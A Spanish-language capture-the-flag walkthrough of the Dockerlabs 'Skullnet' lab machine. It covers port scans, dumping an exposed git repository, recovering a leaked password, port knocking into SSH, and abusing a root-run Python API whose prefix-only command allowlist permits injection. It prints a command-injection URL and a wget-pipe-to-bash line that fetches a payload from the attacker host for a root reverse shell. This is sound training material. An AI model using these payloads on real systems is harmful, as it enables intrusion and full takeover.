Skullnet es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 15:35 CEST Initiating ARP Ping Scan at 15:35 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 15:35, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 15:35 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 15:35, 26.39s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.00015s latency). Scanned at 2024-07-26 15:35:19 CEST for 26s Not shown: 65534 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:13:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds Raw packets sent: 131091 (5.768MB) | Rcvd: 179 (15.238KB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 15:35 CEST Nmap scan report for 172.17.0.2 Host is up (0.000072s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://skullnet.es/ |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:13:00:02 (Unknown) Service Info: Host: 172.17.0.2 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.49 seconds |
Accedemos al puerto 80 por navegador ya que feroxbuster no aporta información y vemos que nos redirige a skullnet.es , así que lo añadimos al archivo hosts para poder acceder

Pero seguimos ver nada, volvemos a usar nmap con los scripts por defecto para el puerto 80
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p80 skullnet.es Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 15:39 CEST Nmap scan report for skullnet.es (172.17.0.2) Host is up (0.00010s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 |_http-title: SkullNet | http-git: | 172.17.0.2:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Fix |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:14:00:02 (Unknown) Service Info: Host: 172.17.0.2 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.91 seconds |
Encontramos un repositorio git y nos los descargaremos con la herramienta git-dumper
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
┌──(kali㉿kali)-[~/git-dumper] └─$ python git_dumper.py http://skullnet.es/.git skull [-] Testing http://skullnet.es/.git/HEAD [200] [-] Testing http://skullnet.es/.git/ [200] [-] Fetching .git recursively [-] Fetching http://skullnet.es/.gitignore [404] [-] http://skullnet.es/.gitignore responded with status code 404 [-] Fetching http://skullnet.es/.git/ [200] [-] Fetching http://skullnet.es/.git/COMMIT_EDITMSG [200] [-] Fetching http://skullnet.es/.git/description [200] [-] Fetching http://skullnet.es/.git/index [200] [-] Fetching http://skullnet.es/.git/config [200] [-] Fetching http://skullnet.es/.git/logs/ [200] [-] Fetching http://skullnet.es/.git/HEAD [200] [-] Fetching http://skullnet.es/.git/hooks/ [200] [-] Fetching http://skullnet.es/.git/branches/ [200] [-] Fetching http://skullnet.es/.git/refs/ [200] [-] Fetching http://skullnet.es/.git/objects/ [200] [-] Fetching http://skullnet.es/.git/info/ [200] [-] Fetching http://skullnet.es/.git/refs/heads/ [200] [-] Fetching http://skullnet.es/.git/logs/HEAD [200] [-] Fetching http://skullnet.es/.git/objects/9c/ [200] [-] Fetching http://skullnet.es/.git/objects/64/ [200] [-] Fetching http://skullnet.es/.git/logs/refs/ [200] [-] Fetching http://skullnet.es/.git/objects/c2/ [200] [-] Fetching http://skullnet.es/.git/objects/76/ [200] [-] Fetching http://skullnet.es/.git/refs/tags/ [200] [-] Fetching http://skullnet.es/.git/objects/b6/ [200] [-] Fetching http://skullnet.es/.git/objects/info/ [200] [-] Fetching http://skullnet.es/.git/objects/d6/ [200] [-] Fetching http://skullnet.es/.git/objects/66/ [200] [-] Fetching http://skullnet.es/.git/objects/d9/ [200] [-] Fetching http://skullnet.es/.git/refs/heads/master [200] [-] Fetching http://skullnet.es/.git/objects/ca/ [200] [-] Fetching http://skullnet.es/.git/objects/pack/ [200] [-] Fetching http://skullnet.es/.git/hooks/pre-commit.sample [200] [-] Fetching http://skullnet.es/.git/info/exclude [200] [-] Fetching http://skullnet.es/.git/objects/9c/902d081106a85cf2d928cd96a1cd9c90d7a2c9 [200] [-] Fetching http://skullnet.es/.git/hooks/post-update.sample [200] [-] Fetching http://skullnet.es/.git/hooks/commit-msg.sample [200] [-] Fetching http://skullnet.es/.git/hooks/pre-push.sample [200] [-] Fetching http://skullnet.es/.git/hooks/pre-applypatch.sample [200] [-] Fetching http://skullnet.es/.git/hooks/fsmonitor-watchman.sample [200] [-] Fetching http://skullnet.es/.git/hooks/pre-rebase.sample [200] [-] Fetching http://skullnet.es/.git/hooks/applypatch-msg.sample [200] [-] Fetching http://skullnet.es/.git/hooks/update.sample [200] [-] Fetching http://skullnet.es/.git/objects/c2/52d3edf77f34de8a24bd4a2486cb42268c2bd7 [200] [-] Fetching http://skullnet.es/.git/logs/refs/heads/ [200] [-] Fetching http://skullnet.es/.git/hooks/pre-merge-commit.sample [200] [-] Fetching http://skullnet.es/.git/hooks/pre-receive.sample [200] [-] Fetching http://skullnet.es/.git/objects/ca/f37fbd4ec7caa864353e03b74ad041f93c04a7 [200] [-] Fetching http://skullnet.es/.git/hooks/push-to-checkout.sample [200] [-] Fetching http://skullnet.es/.git/hooks/sendemail-validate.sample [200] [-] Fetching http://skullnet.es/.git/objects/d9/34ab544c0680ad517e234fdcc1025fc6ce03e1 [200] [-] Fetching http://skullnet.es/.git/objects/b6/313a134f2058c94e3310b0e1f435b55f4b7fa1 [200] [-] Fetching http://skullnet.es/.git/objects/66/b8c5c0725f98d4f1c50ea8d1a8c73bf43a9bd4 [200] [-] Fetching http://skullnet.es/.git/hooks/prepare-commit-msg.sample [200] [-] Fetching http://skullnet.es/.git/objects/d6/3ecff7430448a3075d46caf92803c33a40d313 [200] [-] Fetching http://skullnet.es/.git/objects/76/19fb92be7edfeb26509593739523c00e0f766d [200] [-] Fetching http://skullnet.es/.git/objects/64/8d951e0f8b7cc60b11c82d9328fe9cb1a4a53d [200] [-] Fetching http://skullnet.es/.git/logs/refs/heads/master [200] [-] Running git checkout . Updated 3 paths from the index |
Usamos git log -p para ver los commits y en que han cambiado.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
┌──(kali㉿kali)-[~/git-dumper/skull] └─$ git log -p commit 9c902d081106a85cf2d928cd96a1cd9c90d7a2c9 (HEAD -> master) Author: admin <admin@skullnet.es> Date: Thu Jun 20 18:08:35 2024 +0200 Fix diff --git a/authentication.txt b/authentication.txt deleted file mode 100644 index caf37fb..0000000 --- a/authentication.txt +++ /dev/null @@ -1,5 +0,0 @@ -Hello skulloperator, as you know, we are implementing a new authentication mechanism to avoid brute-forcing... - -This credential and the attached network file will be enough. I know you will get it ;) - -+%7nj^g!DQxp]a>c4v&0 diff --git a/network.pcap b/network.pcap deleted file mode 100644 index 7619fb9..0000000 Binary files a/network.pcap and /dev/null differ commit 648d951e0f8b7cc60b11c82d9328fe9cb1a4a53d Author: admin <admin@skullnet.es> Date: Thu Jun 20 18:07:45 2024 +0200 diff --git a/authentication.txt b/authentication.txt new file mode 100644 index 0000000..caf37fb --- /dev/null +++ b/authentication.txt @@ -0,0 +1,5 @@ +Hello skulloperator, as you know, we are implementing a new authentication mechanism to avoid brute-forcing... + +This credential and the attached network file will be enough. I know you will get it ;) + ++%7nj^g!DQxp]a>c4v&0 |
Vemos una contraseña y un usuario, pero también habla de un pcap que no vemos, usaremos git checkout y el numero de commit para volver a ese punto y tener de nuevo los ficheros.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~/git-dumper/skull] └─$ git checkout 648d951e0f8b7cc60b11c82d9328fe9cb1a4a53d Note: switching to '648d951e0f8b7cc60b11c82d9328fe9cb1a4a53d'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example: git switch -c <new-branch-name> Or undo this operation with: git switch - Turn off this advice by setting config variable advice.detachedHead to false HEAD is now at 648d951 First commit |
Usaremos wireshark para ver que información nos proporciona el fichero pcap

Nada mas abrirlo, vemos que hace una conexión ssh cuando el puerto no lo hemos visto abierto y también, que lanza 3 SYN’s a diferentes puertos, por lo que nos da una idea de que puede ser un port knocking.
|
1 2 3 4 5 |
┌──(kali㉿kali)-[~] └─$ knock -v 172.17.0.2 1000 12000 5000 -d 4 hitting tcp 172.17.0.2:1000 hitting tcp 172.17.0.2:12000 hitting tcp 172.17.0.2:5000 |
Vemos que se abre el puerto e intentamos acceder con el usuario y contraseña que anteriormente hemos encontrado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ ssh skulloperator@172.17.0.2 The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:KTRlXzam1UzdRk/OnKnn22kkAg/dNq3hJy5kF6Idvtw. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:365: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts. skulloperator@172.17.0.2's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Thu Jun 20 18:01:58 skulloperator@92e915c45a58:~$ |
Encontramos una flag de user en el home
|
1 2 3 |
skulloperator@a6ada743e762:~$ ls -l total 4 -rw-rw-r-- 1 skulloperator skulloperator 452 Jul 21 17:12 user.txt |
Tras buscar por directorios, revisar binarios, etc, nos encontramos con un proceso en el cual se esta sirviendo «skullnet_api.py» como el usuario root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
skulloperator@a6ada743e762:/$ ps faux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 155 0.0 0.0 4588 3840 pts/0 Ss 22:53 0:00 bash root 168 0.0 0.1 6240 4096 pts/0 S 22:54 0:00 \_ su skulloperator skullop+ 169 0.0 0.0 5016 3968 pts/0 S 22:54 0:00 \_ bash skullop+ 179 0.0 0.1 8280 4224 pts/0 R+ 22:54 0:00 \_ ps faux root 1 0.0 0.0 2800 1664 ? Ss 22:53 0:00 /bin/sh -c service apache2 start && service knockd start && service ssh start && service ufw start && service cron start && tail -f /dev/null root 24 0.0 0.1 6828 4772 ? Ss 22:53 0:00 /usr/sbin/apache2 -k start www-data 26 0.0 0.3 1212900 13596 ? Sl 22:53 0:00 \_ /usr/sbin/apache2 -k start www-data 28 0.0 0.2 1212900 11484 ? Sl 22:53 0:00 \_ /usr/sbin/apache2 -k start root 88 0.0 0.0 9748 3476 ? Ss 22:53 0:00 /usr/sbin/knockd -d -i eth0 root 97 0.0 0.0 12020 2952 ? Ss 22:53 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups root 153 0.0 0.0 3808 1796 ? Ss 22:53 0:00 /usr/sbin/cron -P root 176 0.0 0.0 6388 3584 ? S 22:54 0:00 \_ /usr/sbin/CRON -P root 177 0.0 0.0 2800 1536 ? Ss 22:54 0:00 \_ /bin/sh -c python3 /var/www/skullnet.es/skullnet_api.py root 178 4.2 0.4 26512 19200 ? S 22:54 0:00 \_ python3 /var/www/skullnet.es/skullnet_api.py root 154 0.0 0.0 2728 1536 ? S 22:53 0:00 tail -f /dev/null |
Tenemos permiso para poder leer el archivo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
skulloperator@92e915c45a58:/var/www/skullnet.es$ cat skullnet_api.py import http.server import socketserver import urllib.parse import subprocess import base64 import os PORT = 8081 AUTH_KEY_BASE64 = "d2VfYXJlX2JvbmVzXzUxMzU0NjUxNjQ4NjQ4NA==" class Handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): auth_header = self.headers.get('Authorization') if auth_header is None or not auth_header.startswith('Basic' ): self.send_response(401) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(b"Authorization header is missing or incorrect") return clear_text_key = auth_header.split('Basic ')[1] decoded_key = base64.b64decode(AUTH_KEY_BASE64).decode() if clear_text_key != decoded_key: self.send_response(403) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(b"Invalid authorization key") return parsed_path = urllib.parse.urlparse(self.path) query_params = urllib.parse.parse_qs(parsed_path.query) if 'exec' in query_params: command = query_params['exec'][0] try: allowed_commands = ['ls', 'whoami'] if not any(command.startswith(cmd) for cmd in allowed_commands): self.send_response(403) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(b"Command not allowed.") return result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(result) except subprocess.CalledProcessError as e: self.send_response(500) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(e.output) else: self.send_response(400) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(b"Missing 'exec' parameter in URL") with socketserver.TCPServer(("", PORT), Handler) as httpd: httpd.serve_forever() |
Lo que podemos sacar del código es :
- Esta en escucha en el puerto 8081
- Espera una cabecera «Authorization: Basic XXXXXXX» , la cual será la decodificación de d2VfYXJlX2JvbmVzXzUxMzU0NjUxNjQ4NjQ4NA== , es decir we_are_bones_513546516486484
- Se le ha de pasar si todo va bien, un parametro exec, con lo que parece que solo permite ls y whoami
Lanzamos con curl el comando
|
1 2 3 4 |
skulloperator@92e915c45a58:/var/www/skullnet.es$ curl "127.0.0.1:8081?exec=ls" -H "Authorization: Basic we_are_bones_513546516486484" close.sh open.sh root.txt |
Ahora bien, si le le concatenamos cualquier otro comando, parece que también lo ejecuta
|
1 2 3 4 5 |
skulloperator@92e915c45a58:/var/www/skullnet.es$ curl "127.0.0.1:8081?exec=ls;id" -H "Authorization: Basic we_are_bones_513546516486484" close.sh open.sh root.txt uid=0(root) gid=0(root) groups=0(root) |
Por lo tanto, lanzaremos una reverse shell para ser root, previamente estando en escucha con netcat y levantando un servicio http con python.
|
1 2 3 4 5 6 7 8 9 |
skulloperator@a6ada743e762:~$ curl "127.0.0.1:8081?exec=ls;wget%20-O%20-%20172.17.0.1%2Fs%7Cbash" -H "Authorization: Basic we_are_bones_513546516486484" ┌──(kali㉿kali)-[~] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 37274 bash: cannot set terminal process group (177): Inappropriate ioctl for device bash: no job control in this shell root@a6ada743e762:~# |
Finalmente podremos leer la flag de root.
|
1 2 3 4 5 6 |
root@a6ada743e762:~# ls -l ls -l total 12 -rwxr-xr-x 1 root root 64 Jun 16 20:21 close.sh -rwxr-xr-x 1 root root 66 Jun 16 20:21 open.sh -rw-r--r-- 1 root root 587 Jul 23 11:23 root.txt |






